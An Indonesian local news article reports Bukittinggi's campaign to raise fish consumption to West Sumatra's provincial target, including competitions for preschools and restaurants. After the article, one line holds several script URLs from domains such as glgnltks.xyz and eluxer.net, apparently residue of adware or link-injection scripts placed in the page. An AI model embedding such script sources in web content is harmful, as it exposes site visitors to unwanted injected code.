Ruang Publik

Pemko Bukittinggi Upayakan Peningkatan Konsumsi Ikan Masyarakat Sesuai Target Provinsi Sumbar

HaloBukittinggi : Pemerintah Kota Bukittinggi, upayakan peningkatan konsumsi ikan masyarakat yang diawali dengan pengenalan gizi yang terkandung dalam ikan pada anak-anak usi dini, termasuk melalui keikutsertaan lewat perlombaan.

Wakil Wali Kota Bukittinggi, Irwandi, Sabtu (6/5/2017), mengatakan, saat ini Forum Peningkatan Konsumsi Ikan (Forikan) saat ini gencar melakukan sosialisasi gemar makan ikan, karena kandungan gizi ikan lebih tinggi, dan baik dikonsumsi sejak usia dini.

“Dinas Kelautan dan Perikanan (DKP) Sumatera Barat menargetkan konsumsi ikan masyarakat hendaknya mencapai 36 kilogram per kapita per tahun, namun di Kota Bukittinggi target itu baru mencapai 34 kilogram per kapita per tahun, sehingga masih kurang dari target yang diharapkan,” terangnya.

Menurut Irwandi, pola hidup masyarakat Sumatera Barat dan khususnya di Bukittinggi masih mengacu pada lauk berupa daging, istilahnya kalau tidak ada daging sama dengan tidak makan, untuk itu perlu dialihkan pola konsumsi lauk pada ikan, sehingga membantu percepatan target yang diminta Pemerintah Provinsi Sumatera Barat.

“Dari segi gizi ikan memiliki kandungan yang tidak kalah dari daging, dari segi rasa ikan juga dapat diolah menjadi berbagai menu masakan yang memiliki cita rasa tinggi, sehingga nikmat untuk dikonsumsi sehari-hari, dan sejauh ini produk olahan ikan masyarakat juga telah banyak diperjualbelikan di restoran, rumah makan, dan di pasar tradisional,” ulasnya.

Sementara itu Ketua Forikan Kota Bukittinggi Yesi Endriani, menuturkan, sebelumnya Forikan Sumbar dan Dinas Kelautan dan Perikanan Sumbar telah menyampaikan informasi tentang lomba gemar makan ikan, dan kegiatan ini akan diikuti sesuai dengan ketentuan perlombaan, karena hal ini juga akan membantu pengetahuan masyarakat soal arti pentingnya mengkonsumsi ikan.

“Ada tiga kategori yang dilombakan yaitu rumah makan, lembaga Pendidikan Anak Usia Dini (PAU) dan Taman Kanak-kanak (TK) serta kelembagaan Forikan, dan sebagai tahap persiapan lomba gemar makan ikan dilakukan pula sosialisasi mendorong masyarakat agar gemar makan ikan,” terangnya.

Melalui PAUD dan TK sambung Yesi Endriani, para guru didorong untuk menyajikan pangan tambahan berbahan ikan, menambahkan materi ajar pengetahuan tentang ikan dan alat peraga, sedangkan pada rumah makan didorong agar 75 persen menu yang disajikan terbuat dari ikan.

“Dari persiapan itu, Bukittinggi masuk enam besar untuk ketiga kategori. Ini diharapkan dapat meningkatkan konsumsi ikan di Bukittinggi,” tukasnya.

Menurut Yesi Endriani, tidak sulit untuk memenuhi kebutuhan ikan di daerah tersebut karena Bukittinggi termasuk daerah tujuan pemasaran ikan dari banyak daerah di Sumbar.

“Pada 13 Mei 2017 nanti juga dijadwalkan lomba memasak ikan dan diikuti 24 kelurahan. Resep yang diciptakan dalam lomba ini diuji kandungan gizinya dibagikan ke lembaga PAUD agar menyajikannya untuk anak,” terangnya. (Dipra)

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top